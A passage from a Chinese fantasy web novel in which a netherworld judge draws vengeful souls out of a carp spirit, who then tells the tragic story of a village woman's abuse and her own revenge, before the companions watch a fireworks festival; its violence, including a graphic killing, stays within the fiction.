“你定。”娄弦将茶盏掷在桌上,根本没听见苍邺说了什么。
苍邺出神,将目光定在茶盏杯口。
“说话。”娄弦显然没什么耐心了。
苍邺轻咳一声,回过神来:“还没想好,先欠着。”
娄弦哼哼两声:“何时把人带来?”
“明日。”苍邺答应的利落。
娄弦瞥了他一眼,带着些许怒气离开了谷坞。
看着娄弦离去的背影,苍邺的目光再次回到茶盏口。
他下意识伸手去触,指尖慢慢摩挲着杯口。
上边微凉的水迹沾湿指腹,苍邺陡然回神,转手将杯口倒置在桌面。
28. 收怨魂
娄弦从谷坞出来已过亥时,除了陈御裴姐弟,唐渡和拂琵都在等她。
她手腕处的红印实在明显,勉强用衣袍遮上,面对拂琵的追问娄弦也是胡乱搪塞过去。
倒是唐渡盯着她不放。
她身上有股异常的药草香,这药香不曾闻过,此外,还夹着其他些许味道。
唐渡下意识蹙眉问:“你见了何人?”
进了山谷,是娄弦将青鲤背到客房的,拂琵和唐渡都未见过苍邺,是以他们也不知道娄弦见了谁。
面对唐渡的追问,娄弦自若坐下,一如往常笑眯眯的模样:“唐道长是关心我?”
唐渡噤声。
她总是这副模样,面上笑着与人说话,眼里却是疏冷淡薄,好似所有人都是她的玩物。
唐渡面色沉冷下来,转了话道:“我是关心引怨魂之人。”
“哦。”娄弦拖长了声音有些惋惜,“我以为唐道长关心我呢。”
她道:“明日青鲤体内的怨魂就能引出来。”
“明日?”拂琵惊喜起来,“太好了!明日之后青鲤就不用受怨魂折磨了。”
可她又很快低落下来。
明日之后。
会有明日之后吗?
察觉到拂琵的情绪,娄弦递给她一杯水,又饮了自己手中这杯:“是好事,不必难过。”
她替阿汝报了仇,又不必再受怨魂之苦,有时死亡未必是件坏事。
可话虽这么说……
“那毕竟是条性命。”拂琵喃喃。
拂琵性柔,娄弦性坚,二人看待问题总归不一样。
外头有叶瓣零落,远处传来高低犬吠声,夜又深了些。
“明日何人引魂?”唐渡问。
娄弦伸腰。
折腾了这么久,她有些累了:“不知道,谁来谁收。”
姓苍的只说认识步莲,也没告诉她明日来的是谁。
天大地大,吃饭最大,睡觉其次。
……
翌日天亮,几人来到青鲤屋内,她依旧在昏睡。只是今日的脸色比昨日更差,若不是唐渡的符纸守着,恐怕体内的怨魂已经冲出来了。
柳式通依旧替青鲤配药,为的就是让她舒服些。
陈御裴看着青鲤灰白的面孔,忍不住喃喃:“昨日我还奇怪,她为何要把怨魂困在自己体内,现在我明白了,她是绝了那些人投胎的路,让他们永远困在慈女村。”
只是,连着自己都搭进去了。
陈御裴叹了口气。
这方正说着,那方却传来一声高喝。
“哪里要收怨魂啊?”
几人循声看去,外面绿荫吹动,哪有什么人在说话。
那声音又近了些,高声问道:“本官与你们说话怎都不理人?”
谁在说话?
几人望了半天,依旧没有发现说话之人。
不知是谁提了一嘴:“脚边。”
遂低头,这才发现脚边不知何时站了一个小人。
小人高至膝盖,褐底衣袍,腰间束一红色腰带,头戴小官帽,怪异之中竟有些可爱。
圆润的脸上抹着两片腮红,獠牙若隐若现,微扬的眉毛满是威武。
见几人终于发现了自己,杜旺理了理衣襟,昂起胸膛朝前迈了几步:“本官是不成楼下六层判官杜旺。”
他得意的眼神扫向众人,谁知旁人都是一脸困惑的表情。
陈御裴困惑,认真问道:“这下六层的官,是个大官吗?”
杜旺险些跳起来打他膝盖:“判官官职不大,可至关重要啊!什么人入什么道,都是判官说了算!”
“好吧。”陈御裴有些抱歉的看着杜旺,“那确实挺重要的。”
方才那句话大概是伤到他了。
杜旺整理好情绪,又回到刚才昂首挺胸的模样:“本是要请步莲娘娘过来的,可娘娘日理万机,这几日又不在楼中,我来也是一样的。”
苍邺去不成楼时,步莲恰巧不在楼中,见有怨魂要收,杜旺自告奉勇随了苍邺来。
帮娘娘的朋友就是帮自己,他一心想去上六层,指不定下回升官就轮到自己了呢。
杜旺心中打着算盘。
“请问杜大人,可以引怨魂了吗?”唐渡在一旁提醒。
“自然。”杜旺小手一挥,迈着两条腿走到床榻边。
他四肢并用奋力爬上床,看着床榻上的青鲤。
青鲤虽睁着眼,可气息却十分微弱,颧骨高凸,眼底是一片青黑,不论是煞气太重还是命不久矣,看着都不是好兆头。
杜旺在不成楼判了那么多魂魄,第一次见有人用自己的身子困压怨魂的,无论有多大的恨意,这都是伤敌一千自损八百的法子。
杜旺看了圈屋内的人,清了清嗓子,双手交叠在后,闭着眼晃悠悠说:“这些怨魂不比寻常,一旦放出来容易侵入凡体,怨气伤身,若是你们害怕,便去外面等着。”
娄弦二话不说拉着拂琵走了出去。
陈御裴见状也不耽搁,两三步追了上去。
倒是唐渡定在原地。
杜旺睁开一只眼:“你不走?”
“怨魂要紧,若有需要,我可助一臂之力。”唐渡道。
也行。
两个人留在屋内总好过一个人,万一出些什么意外。
杜旺点点头,默认下来。
三人走到外边,见唐渡迟迟不出来。
拂琵问:“唐道长留在里面?”
大概是猜到唐渡的选择,娄弦并不意外:“唐渡心系百姓忧天下,自然是要留下帮忙的。”
娄弦从阿含谷醒来第一日,唐渡就对她解释,千层阶不必叫她放在心上,换做别人他亦不会见死不救。
唐渡此人就是这样。
与她不同。
待三人出去后,杜旺站在床边,手中拿出摇魂金玲。
只听一声震耳锐响,周遭忽然安静下来,草木停止浮动,连风都静止了,所有人好似被丢进密闭罐子,一切声音都消失了。
拂琵讶异,误以为自己失聪了,正要张嘴说话,看见娄弦忽转头看向自己,做了个噤声的动作。
就在这一瞬间,所有静止的声音迸发而来。
外头狂风大作,不知是哪里的风在呼啸,娄弦只觉得天地都要被掀翻了。
耳边是不断地呓语低喃声,细碎的,刺耳的,密密麻麻一股脑全涌进了她的耳朵,脑袋疼得爆炸!
娄弦眉头紧蹙,双手捂住耳朵,这些呓语低喃就好像一只只细小的虫子不断啃食着大脑,又像有无数的银针扎着耳朵,折磨得她逐渐狂躁。
吵死了!
阿含谷的人不知发生了什么,天边似有波涛滚来,一阵尖锐气浪爆破扫来,耳鸣一瞬,紧接着是歇斯底里的鬼哭狼嚎声。
怨恨声,害怕声,凄厉声,宛若鬼门大开,万鬼齐鸣!
鬼风嚎叫,众人被掀倒在地,手中药草散落一地,疼痛欲裂。
那阵妖风继续狂啸着,外头草木倾倒一片,在杜旺的摇魂金玲中,几百只怨鬼争先从青鲤体内咆哮而出,在上空乱做一团。
“起结界!”
杜旺低吼一声,妖风吹乱了他的衣襟,小小的身躯屹立在一旁不倒。
唐渡接到指令,毫不犹豫双手起结,在房屋两侧引起结界。
那些怨魂不断呓语哭嚎,来回在结界穿梭碰撞,黑压压一片聚在屋顶上空。
它们似乎
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很慌乱,有些怨气已经重新长出人脸,正诡异恼怒去冲撞结界,它们含糊不清咒怨着什么,时不时发出尖锐鸣叫,或是低沉呐喊。
唐渡咬牙,手中的力道又加重几分。
这些怨魂被困太久,此刻找到突破口,怨气顷刻而出!
怨魂挣扎着,或幻出孩童模样,又转女子低低哭吟,黑魂相缠,将整片天压黑大半。
拂琵一边捂着耳朵,一边艰难抬头:“这是……”
这些怨魂怎么都长出人脸了!
空洞的嘴张到极致,它们不断去撞击结界,势必要冲破一切。
“坚持!”杜旺操动摇魂金玲,顶着怨气站稳脚跟。
青鲤的脸几乎扭曲到一块。
体内千千万万的怨魂从她体内剥离,如剐血肉,凄厉的哀嚎声与鬼叫融为一体。
黑团怨气越凝越大,娄弦神情开始恍惚。
”疼啊!头好疼!我是不是也要死了!”
陈御裴抓着脑袋面露苦楚,好像有无数小人在啃他的头骨。
风势依旧没有减小的意思,结界中的怨魂像似被抓住了命脉,挣扎幅度越来越大。
“天地清宁,魂归所依,收!”杜旺大喝一声,摇魂金玲一震,四面清扫而来。
逐渐的,那些浓黑到看不清的墨色开始淡去,直到最后一声锐鸣骤然消失,结界变得澄清可见,整个世界又重归宁静。
凄厉诡谲的惨叫在寂空中格外清晰,陈御裴瑟缩在角落,整个过程连眼睛都没有睁开,直到里面传来说话的声音。
“终于送走了,没见过这么费劲的魂魄。”杜旺擦了擦汗,从床榻爬下,面色疲惫。
一场下来,唐渡也觉体力不支。
怨气强大,若那百余只怨魂真从青鲤体内跑出来,后果不堪设想。
陈御裴险些瘫软在地,娄弦的脸色也不甚好看。
方才那一幕宛若噩梦,从未觉得时间这么漫长。
她看向拂琵,鬼怨磨人,拂琵有些摇摇欲坠。
娄弦抬手将她撑着:“怎么样?”
“好些了,进去看看青鲤吧。”拂琵缓过来道。
三人推门而入。
杜旺拍了拍衣服,摆正自己的小官帽说:“体内的怨魂我已经清理干净了,剩下的都是内外伤,我得赶紧回去处理这百只怨魂,余下的事我就不管了,你们自己看着办吧。”
他正要抬腿离开,唐渡忽然叫住他:“杜判官。”
杜旺回头:“还有什么事?”
唐渡道:“前些日有几十只怨魂从活尸身上跑出去了,眼下不知所踪,留在人界始终是祸患,还望杜判官能将它们带回去。”
杜旺双手负背,煞有其事的说:“即使你不说,本官也会将它们带回的,这是我的职责。”
唐渡道了谢。
杜旺潇洒转身,小小的身子消失在黑夜中。
青鲤躺在床上,汗水打湿大片衣衫。
体内怨魂引出,终于不再沉重,好似一片清池,只是四肢无力,感觉不到它们的存在了。
娄弦看向一旁的唐渡,唐渡正抬头,对上娄弦的眼睛。
“辛苦你了啊,唐道长。”
唐渡抿唇。
刚才起结界费了不少劲,鬼声呼啸,怨气似要把这天地掀翻,他们在外边想必也不好过。
他定了半晌,开口问:“没受伤吧?”
娄弦笑了笑:“我和拂琵都很好,陈御裴也不错。”
唐渡凝了凝,挪唇道:“那就好。”
他其实想问:你没有受伤吧?
可话到了嘴边却又说不出口了。
娄弦没有多问,倒了杯水递给青鲤:“小鲤鱼精,说说你的故事吧。”
29. 这是另一个故事
这个村子叫慈女村,我是生活在这湖里的一条鲤鱼。
我每天遨游在湖里,幻想着哪天能够越过龙门化身成真龙,就这样,我抱着期待日复一日等着。
直到有天,我看见一个姑娘,她长的真好看,像岸边新嫩的夹竹桃。
我听见有人喊她阿汝,她每天都来湖边和我说话。
阿汝说她想去京都学刺绣,等学到了真本事,她就开一间绣坊,再收许多女弟子,这样她们都能养活自己。
可是,她一直都没去成,每次来湖边,我总能看见她脸上淡淡的哀愁。
她说,她去不了京都了。
我不知道她为何去不了,但我很高兴她能留下来,这样我每天都能看见她,听她说话,还有好吃的小馒头。
阿汝好像认得我,每次我游过去,她都能对着我笑,然后怔神说:“小鲤鱼,真羡慕你,想去哪就游去哪儿。”
羡慕我吗?
我甩着尾巴,对着阿汝一遍又一遍转圈。
真可惜,阿汝要是我同族就好了,我们可以一起游出去,一起越龙门,一起去看更广阔的天地。又或者等我哪天变成人,我可以带着她去京都学刺绣,开绣坊。
多好啊。
日子就这么一天天过去,我每天守在岸边等她过来,可有一天,阿汝没有出现,我等啊等,等到天黑都没有出现。
阿汝两天没有来了。
阿汝三天没有来了。
阿汝四天没有来了。
……
阿汝嫁人了。
嫁给了一个鳏夫,他年长阿汝许多。
那夜,整个村子被灯火照的通亮,邻里们上门庆贺,庆贺阿汝嫁了个好人家,她的爹娘喜上眉梢,簇拥鳏夫说着悄悄话,心照不宣一笑。
一片祥和热闹之下,我分明听见了阿汝的啼哭,那无人在意的声音破碎在黑夜中,被众人的欢笑埋没。
他们身处春日之畔,眼看阿汝置身寒冬之渊。
我已经很久没有见过阿汝了。
今日,我见到她了。
她变了许多,她再不同我说话,我转圈圈甩尾巴,她也不笑了。
她的眼神像干涸已久的枯井,无神而又麻木。
阿汝的手搭上小腹,声音缥缈而虚无,就这么静静望着我,似哭似笑。
“小鲤鱼,真羡慕你啊,想去哪就游去哪儿。”
她再也没有提过京都,再也没有提过绣坊,慈女村,再也没有阿汝。
……
据说,阿汝生了个女儿,她很喜欢这个女儿,我以为阿汝的日子会好起来,可那天夜里,我看见三个人朝湖边走来,他们手上还抱着一个孩子。
我不知道他们要干嘛,只听见他们说。
“怀了这么久,结果是个不值钱的玩意儿,趁她睡着,赶紧扔了。”
“一会儿她醒来,发现孩子不见了怎么办?”
“扔都扔了还能怎么办,随便搪塞过去不就行了,她爹娘早就不要她了,能拿我们怎么样!”
他们的脸被湖面照的变形,起伏扭曲,看着并不像人。
黑夜中,伴着破水之声,有什么东西掉湖里了。
我赶紧游过去,那是个粉雕玉琢的女娃娃,和阿汝有几分相似,她那么小,甚至还没有睁眼。我弓着身子拼命想将她救上去,可我太弱小了,我救不了这个孩子,也救不了阿汝。
岸边传来撕心裂肺的哭喊声音,还有辱语谩骂,我眼睁睁看着阿汝被人拖走了。
这夜之后,阿汝疯了,她总是来湖边找她的孩子,一遍又一遍唤着女儿的乳名,每次被抓回去又是一顿毒打,第二天,脸上身上又是新的伤痕。
我多想变成人,多想带她离开这个村子。
我想跟阿汝说,我们去京都吧,去学刺绣,去开绣坊,去哪都好,就是不要在这里。
现在,我终于明白阿汝为何说她去不了京都,为何说她羡慕我。
她哪都去不了。
她被困住了。
男人心满意足的从她身上离开,或许嗓子喊哑了,她再发不出任何声音。
一切都静极了,我听到了自己剧烈的心跳声,有什么东西破土而出,在我心中生根发芽了。
村子里开始谣言四起,说阿汝水性杨花,勾引自己丈夫的表亲,理当沉湖。
双亲痛骂阿汝不守妇道,对阿汝的哭诉视而不见,只觉得她丢人。
所有人站在所谓的正义面,仅凭三言两语就将她推入深渊。
村民们将阿汝捆起来,为了村子的名誉,阿汝必须死!
这一次,我离她很近了,她就在我的身边,双眼不瞑的看着河岸,任由那块石头拽到淤泥,再没起来。
慈女村重归平静,早出晚归,邻里间和爱相亲,就好像阿汝从未来过。
那夜,我做了一个梦,梦见一颗珠子落进了我的身体,我要做什么?是越龙门,还是化身成人?
上岸吧,我不越龙门,我要杀光这个村子所有人。
上天垂怜,这不是梦,我真的拥有了双腿,像人一样能在岸上行走了。
我看着湖面的倒影,和阿汝一模一样的脸,我扯了扯唇角,笑的没有阿汝好看。
有人在湖边看见了我,他忽然瘫软在地,半天没有说出一句话,我朝他走近些,他竟然吓得屁滚尿流了,有些好笑。
没过多久,阿汝回来的消息就传遍了,整个村子人心惶惶,一旦入夜就没人敢出来了。
没有关系,我会去找他们的。
首先照拂的,必然是阿汝的双亲,听说她的阿弟要成婚了,作为阿姐怎么能不去看看。
在开门的一瞬间,阿弟惊恐的都说不出话了,爹娘从里屋出来,见到我的霎那间跌倒在地,甚至不敢看我的眼睛。
“阿汝,你、你没死?”
阿弟的神色由惊恐转为愤怒:“你在这装神弄鬼做什么!明日就是我大喜的日子!赶紧滚!别来寻我的晦气!”
我说:“你成不了婚。”
“你胡说什么!”他似没听明白,想将我轰出去。
我掀起衣袖,肤上的鱼鳞在月下泛着瘆人鳞光:“你的喜事,是用阿汝换的,所以你成不了婚。”
他的脸上再次镀上恐惧:“你、你不是我阿姐,你是——”
他忽然涨红了脸,渐渐说不出话了,一双手胡乱在空气中抓着什么,嘴里咕噜咕噜冒着声,像溺水之人拼命找寻救命稻草。
“阿耀!”
那对夫妇眼见儿子快断了气,疯了般朝我扑来:“你在使什么妖术!快放开我儿子!来人啊!杀人啦!”
村子里的人怎会听见将死之人的呼喊。
我看着他们,那对夫妇忽然不动了,只瞪大眼睛惊恐看我。
他们争先恐后朝空气中抓着什么,潜意识中有无数的湖水灌进鼻腔,淹的他们喘不过气,随着最后几下抽搐,两眼翻白倒了下去,倒在了他们最爱的儿子身旁。
“阿汝在黄泉不会想看见你们的。”
我盯着地上三具尸体,调动全身气息,将他们体内的魂魄引了出来,用灵力包裹进了自己身体,将其困压。
夜色很凉,如墨染般深沉,小径荒凉,脚下是落叶清脆的碎裂声,每
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一步都踏在冰冷的虚空中,我代阿汝,回到了她的夫家。
起先,他们只是惊恐,两股战战朝后退去。
“谁也没想到事情会变成这样,跟我们没有关系,别来害我们啊。”
“这件事也不能全怪我们,总不能任由丑事传出去吧。”
后来,他们恼羞成怒,企图言语谩骂将我呵去。
“要不是你水性杨花不守妇道,怎么会被人欺辱了去!要怪就怪自己命不好!”
“村子里所有人都知道这件事,难不成你还想杀了所有人!”
最后,他们双目不瞑,静静躺在地上看我。
说的不错,我要杀光这个村子所有人。
那些人都说,阿汝的死和他们没关系,他们是无辜的,什么也没做,不过是隔岸观火,闲言长语,搬弄是非,这有何错?
我不需要他们认错,反正都得死,是对是错,我不想听。
我引了他们的魂魄,几百个灵魂被我困压在体内,横冲直撞,感觉身体要被撕裂了,连五脏六腑都被掀翻了,说实话,有些难受。
我摸了一把眼角,有黏腻湿润感流出,然后是鼻子耳朵,最后没忍住,喉间一口鲜血涌出。
疼啊,真疼,阿汝那时是不是也很疼。
我为阿汝立了灵牌摆了香烛,据说这是凡人悼念亡者的方式,世上无人念她,可我得记着她。
她同我说话,给我吃小馒头,对我笑。
我得记着她。
我抱着阿汝的灵牌渐渐睡去,可我总觉着少了一个人。
一道声音唤起了我的记忆。
是了,那个在湖边犯下不可饶恕罪恶的男人。
他以为自己命大,醉酒逃过一劫,可他的运气哪有这么好,他只会比村子里所有人都惨。
看到我时,他的表情精彩极了,一会泛白一会泛青。
男人缩在角落不敢看我,嘴里念着:“阿汝别怪我,我喝醉酒没了分寸,我真不是有意的,我给你上香,上很多很多香,求求你放过我吧。”
我扯了唇,学着阿汝笑:“我不要你的香,我要你的命。”
我用术法封了他的嘴,用磨钝的刀具一寸寸卸了他的胳膊。
鲜血溅在我脸上,男人惊恐的眼里满是我疯狂的脸。
眼底是那日在湖里见到的一切,男人肆意的笑声,还有阿汝凄厉无助的哭喊,清晰又刺痛在我耳边回荡。
我问他:“疼吗。”
“疼吗?”
“疼吗!”
男人青筋暴露,额间渗出密密汗渍,顶着发白的脸不停朝我点头。
“说话!”我一刀砍进他的大腿,发了狠问,“你为什么不说话!”
男人仰天长哼,喉间含糊不清说着什么。
我一遍遍磨,一遍遍问:“说话!说话!我让你说话!”
可惜,他的嘴被我封住了,说不了话。
男人脸上的血色渐渐退去,脑袋无力搭在一边,双眼变得无神。
裙摆被鲜血浸染,地上那一片片红,扎眼又刺目。我起身,将满手腥血擦拭在身上,看着他说:“让你说话,你为什么不说呢?”
这下,所有人都解决了。
我留在了岸上,白日躲在湖里,夜里便出来陪阿汝,给她上香,擦拭灵牌,日子过得也很快。
时间一久,我的身体日夜被怨气侵蚀,好像快困压不住了,我努力将体内的气息调动起来,可怨灵实在是太多了,就在不久前,有十几只怨魂跑出去了,它们附在慈女村村民身上,被人发现了。
我想,我很快也会被发现的。
30. 焰火
青鲤的声音渐渐息了。
她眼角微润,睁着眼睛看向远处。
娄弦想起那日去阿汝家,那里竟没有她生活的痕迹,连她的衣裳物品都没有保留一件,只有青鲤惦念的,唯一的,冰冷的灵牌。
“我害了整个村子的人,你们要杀了我吗?”青鲤声音虚弱。
“你没有害他们。”娄弦果断道,“是他们咎由自取。”
拂琵也在一旁宽慰:“是啊,当时若有一个人站出来向阿汝伸出手,或许一切都会不一样。”
小鲤鱼沉默,低头看着自己的双手。
瘦骨嶙峋,皮下血丝清晰可见,依稀还有黑气缭绕,即便怨魂被引走了,体内残留的怨气却不是那么轻易消除干净的。
她明白了。
青鲤默默道:“我是不是活不了多久了?”
内体怨魂已除,可身体却如残风烛火。
死也没什么不好,如今再也不用担心怨魂从体内跑出去,她可以去见阿汝了。
青鲤心中所想被娄弦看在眼里。
“阿汝不是想去京都吗。”黑色瞳眸静静望着她,“努力活着,养好身上的伤,带阿汝离开慈女村,一起上京。”
娄弦又指了指陈御裴:“他就是从京都来的,有钱有朋友,到了那儿想吃什么玩什么都可以找他。”
陈御裴连连点头:“没错,到时候我带你去最好的酒楼,将整个京都都逛遍!”
青鲤的眼眶再次泛红,她双眸含泪,勉强挤出一个笑容:“谢谢你们。”
四人走到屋外将门阖上,陈御裴回看了眼屋里,压低了声音:“其实青鲤知道自己所剩的日子不多了吧,我们这么说,真的合适吗?”
“合适。”拂琵看了眼娄弦,“人活着最怕没了念想,若是这样可以叫青鲤多撑几日,那也值了。”
陈御裴默默叹了口气。
引魂时天昏地暗,又有鬼风嚎叫,也不知阿姐怎么样了。
陈御裴转头对唐渡道:“我要去看看我阿姐,唐道长你同我一起去吧。”
“我……”
唐渡犹豫着要开口,还未拒绝,娄弦率先道:“你们一块儿去吧,我有些事想要问青鲤。”
说罢,不等其余人答话娄弦转身进了屋子。
屋内,听闻开门声响,青鲤转过头,见娄弦又撤了回来。
她寻了一凳子,自顾坐在青鲤面前。
那日在慈女村,有一戴银面的男子在追杀青鲤。
那人虽用斗篷遮了身形脸面,可出手的招式却让她想到一人。
一个非常熟悉之人。
“青鲤姑娘。”娄弦开门见山,“那日追杀你的,可是刹冥台的人?”
青鲤面色微微一变,下意识想要起身,被娄弦止了。
她又重新躺下,如实答道:“不错。”
果真。
心中的猜测得到证实,可娄弦的神色依旧紧绷。
刹冥台有哪些人她心中再清楚不过,何时有这么一个人存在。
以他出手的速度来看,若刹冥台真有这么一个人,她不会注意不到。
青鲤不知娄弦心中所想,继续道:“大概是半年前,刹冥台的人盯上了我。因我体内困了许多怨魂,便想试试我的身体是否也能容下魄天炽火。”
最后一句话落,娄弦的表情终于藏不住了。
刹冥台的人都知道,魄天炽火是魔尊娄焱震慑三界的天地邪火,拥有魄天炽火便能在天地横行。
而除了她,娄焱唯一的血脉,无人能将其占为己有。
娄焱死的那日,她当着刹冥台所有人的面将破天炽火吸了过来,自那之后,她便是刹冥台唯一的尊主。
后来姒地将她封印九巨山脉,魄天炽火被迫剥离,无人知晓炽火踪迹,原是被有心人惦记了,还是自己的身边人。
娄弦的神色渐渐沉冷下来:“那面具之人是谁?”
青鲤如实道:“我从未见过他的真容,只知他是隗圣殿的人。”
娄弦眉毛微挑。
隗圣殿?
怪不得那戴银面之人身法如此眼熟,原是隗圣殿一手教养出来的。
当初杀死娄焱,血洗刹冥台时,隗圣殿可出了不少力呢。也正是因为如此,她才将隗圣殿提拔为自己最得力的副使。
一人之下,好不风光。
她忽而叹了口气。
做人果真不能太心软,尤其是对背叛之人。
“你休息吧。”娄弦拍了拍衣袍,起身朝外走去。
青鲤不知发生了什么,只觉娄弦刚才的表情变了两瞬,其中那一瞬有些叫人发凉。
山顶。
娄弦看着远处那片起伏的山脉,手中把玩着一片落叶。
在她封印的三年时间里,刹冥台早就换了主人,或许里面也已没了她的人。
眼下魂珠还未找全,隗圣殿又一心想将魄天炽火占为己有,若此刻杀回去,她未必能得到好处。
哈,这么些年,竟为别人做嫁衣了。
想到此处,娄弦将那片叶子狠狠攥紧。
拂琵一路寻来,看着娄弦紧绷的背影,上前叫她:“你怎一人跑到这儿了?再远些可就离开阿含谷了。”
娄弦并未转头,看着山间云雾慢慢将山脉遮掩了。
她将攥的稀烂的叶子丢到地上,莫名其妙问:“拂琵。”
“嗯?”
“你会背叛我么?”她转过头,深沉的眸子紧盯拂琵,“会么?”
拂琵见娄弦一脸认真的模样,下意识怔了怔。
不等娄弦问第二遍,也没有问缘由,拂琵坚定道:“不会。”
“我的命是你给的,我不仅不会背叛你,在危难关头,我还会以命相护。”拂琵的声音很轻柔,却掷地有声落在娄弦心头。
娄弦转过头。
山间的云雾渐渐散了,露出原本连绵的山脉。
她忽的笑出声,对拂琵道:“命是你自己的,不论何时,不论何人,都不要交出你的性命。”
“你要珍惜它,好好活着,明白吗?”
枝头有雌鸟衔食归来,雏鸟叽叽喳喳露出脑袋,争先恐后去吃雌鸟衔来的食物。
拂琵点点头,笑了:“明白。”
“走吧,是不是吃饭了?”娄弦牵过拂琵的手朝山下走去。
拂琵牵紧了些,心情莫名有些愉快:“唐道长做了你爱吃的红烧肉,御裴公子今天下山钓了两条大鱼,刚才还商量着怎么吃呢,也不知道决定了没有……”
……
……
那条鱼最终和豆腐炖了一碗汤。
鱼汤鲜香入味,饭还没吃,光是鱼汤娄弦就喝了五大碗。
“再喝下去,这汤都要见底了。”陈御裴看的目瞪口呆。
这鱼汤真这么好喝吗?
唐渡见娄弦又要去盛汤,想起了先前在湘城满香酒楼吃的那顿饭。
他冷不丁道:“你是没见过她原先在酒楼吃了多少。”
好在这顿饭不需要掏银子。
娄弦喝下第六碗鱼汤,抹了抹嘴说:“唐道长,今日又不用你付钱,你心疼什么?”
唐渡轻哼一声,怪气道:“我是心疼这鱼汤。”
二人斗的你来我往。
陈玉茴看在眼里,她慢慢放下筷子笑着说:“唐道长和娄姑娘瞧着关系很好。”
“……”
话音落,几人下意识停了筷子。
陈玉茴在阿含谷住了有些时日,又是陈御裴的亲姐姐,她性子软和,也能跟拂琵说到一块,渐渐连饭也一块吃了。
察觉到气氛有些奇怪,拂琵接了陈玉茴的话道:“唐道长为人平和,他与我们的关系都很好的。”
“是啊是啊。”陈御裴赶忙将嘴里的饭咽下,“我们几个关系都处的不错。”
他夹了一块红烧肉放到陈玉茴碗里,殷勤道:“阿姐快吃菜。”
做弟弟的何尝不知道姐姐的心思,奈何有人不开窍。
他东挖一句西探一句,都看不出唐道长对自家姐姐有旁的心思,奈何自家阿姐是个直性子,认定的人绝不轻易放手。
陈御裴心中叹气。
他又看向娄弦。
娄弦从方才开始嘴就没停过,显然没把陈玉茴的话放在心上,怎么看来,她对唐道长根本没意思嘛。
还有唐道长,也是一副波澜不惊的样子,根本不受影响。
看样子,阿姐还是有希望的。
他放下心来,乐呵呵道:“
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方才下山我听人说,今日荆州大富商的女儿出嫁,为了贺喜,晚上有焰火集,我们将青鲤姑娘带上一同去看看。”
娄弦头也没抬,否认了陈御裴的提议:“你想去就自己去,青鲤这副样子,怕人还没下山就被你折腾没了。”
陈御裴蔫了脑袋。
也是,青鲤刚引魂不久,身体还未完全恢复,正虚弱着,确实不便下山,可若这次看不到,下次就不知该何时了,多可惜啊。
唐渡突然道:“阿含谷可以看。”
陈御裴耷拉的头瞬时抬了起来。
唐渡继续说:“往西面小径走远些,可以到山顶,那里能俯瞰整个荆州,焰火自然也能看到。”
往西面的小径走,那不是她今日去过的地方吗?娄弦心想。
那里确实是个好位置,不仅能看到远处连绵山际,还能将整个荆州城收入眼底。
唐渡指了大概方位,几人都觉不错。
“那一会儿我就去叫青鲤,晚上我们一起去山顶看焰火集,肯定很漂亮!”拂琵高兴地一拍手,几人应和下来。
一顿饭就这么结束了。
日落西山,天边蒙上一层金云,随后夜幕涌上,将天际完全遮黑。
月光明亮,遮盖了繁星光芒,夜虫在山间鸣叫,偶有几只流萤在丛间穿梭。
拂琵扶着青鲤走上山顶。
荆州城灯火斑点,辉煌长街如游龙穿过整座城市,看不清人影,只能瞧见无数小点在闪烁挪动,整个荆州的繁华尽收眼底。
陈御裴兴奋地小跑至前,陈玉茴担心的叫住他。
天黑路深,生怕陈御裴不小心掉下去。
山顶处夜风吹来,夹着草木清香,整个人畅快极了。
“来阿含谷这么多次,我还不知道有这么个好地方。”陈御裴眺望远方,看着荆州灯火往来,人潮涌动,心中快意极了。
白天的山顶不比夜晚。
娄弦白日来时,没有灯火照应,只觉空旷寂寥,现在一看,繁星灯火洒落一地,人间欢语交织满片,娄弦第一次觉着人间美好。
青鲤依靠着拂琵,无声望着那片大地,耳边似传来人们交语谈笑的声音,那么远又那么近。
如果阿汝还在,如果她们都还能活着,那该多好。
她轻咳一声,拂琵将她扶住:“青鲤姑娘。”
“我没事。”青鲤笑了笑。
砰——
几缕火光冲向天幕,随后绽放成巨大的满天星。
天空被照亮大半,几道彩光照在众人脸上。
明媚的、充满生命力的焰火在天边迸发,随后化成斑斓群星散落人界。
人群欢呼,声声赞美,情人深情对视,孩童骑坐父亲肩头,一束又一束焰火相继迸发,所有的美好就要在这一刻定格。
人间无难,百姓无忧,事事安康,美妙的事正如这焰火一样不断发生,过去的磨难在这一刻抛之脑后。
陈御裴忽然大喊:“希望爹娘身体康健,阿姐找到幸福!”
陈玉茴微含热泪看着陈御裴。
那个跟在自己身后的阿弟长大了,会在意人了。
拂琵见状也被带动,壮着胆子喊道:“希望我和阿弦能永远在一起!”
陈御裴一听不得了:“拂琵姑娘,你这喊的不对啊,怎么是跟娄姑娘在一起,不应该——”
“不应该什么?”娄弦斜眼打断,“和我永远在一起有什么问题?”
拂琵捂嘴轻笑。
陈御裴的气势渐渐弱了下来:“我又不是那个意思……”
“那是什么意思?”
……
一旁的陈玉茴走到唐渡身侧,轻声问道:“唐道长的愿望是什么?”
唐渡看着远处不断炸开的焰火,平静道:“人界安宁,世间无妖魔作祟。”
陈玉茴脸上面露失望,可还是忍不住追问:“还有呢?”
唐渡转头反问:“还有什么?”
娄弦目光一瞥,瞥见唐渡和陈玉茴说着什么。她摸了摸鼻子,装不在意转头欣赏起焰火。
“阿弦,你许什么愿?”拂琵问。
“我啊。”
一束焰火炸开,照在娄弦脸上。
“要回我的巅峰。”
31. 多谢你的伞
焰火纷纷扬扬,绚烂夺目,可美好的东西总是短暂。
光华落下,天幕重降黑夜,唯有街上繁灯闪烁。
“真好看啊。”拂琵忍不住感慨,脸上尽是意犹未尽的表情。
陈御裴一听,见机道:“拂琵姑娘喜欢看焰火?”
他来了劲:“不如哪天我也为你备个焰火集,整夜整夜放,你喜欢什么样式的?”
陈御裴眨着眼睛看她,拂琵后退一步,拘谨挥挥手:“……不用,我只是感叹焰火之美,并不是有多喜欢……”
这小子。
娄弦斜了一眼,将拂琵拉到身旁。
像陈御裴这样的花花公子,做朋友可以,做情人,那可得离他远些。
拂琵心软好说话,陈御裴长了张勾人的脸,又惯会花言巧语,若拂琵真陷进去,日后指不定得吃多少亏。
“天色不早,回去睡觉了。”娄弦打断陈御裴的殷勤,转身朝山下走去。
拂琵无奈看了他一眼,搀着青鲤跟在娄弦身后。
唐渡正要下山,陈玉茴咬了唇,终于下定决心叫住他:“唐道长,我有些话要同你说。”
小环曾说,对一个人的心迹要早日表明,若藏着掖着,最容易失去。
今日吃饭她便有了这种感觉,那种抓不住即将失去的感觉。
夜风拂过,娄弦侧目顿步,只微微一瞬,又迈出步子继续向前。
“什么事……”
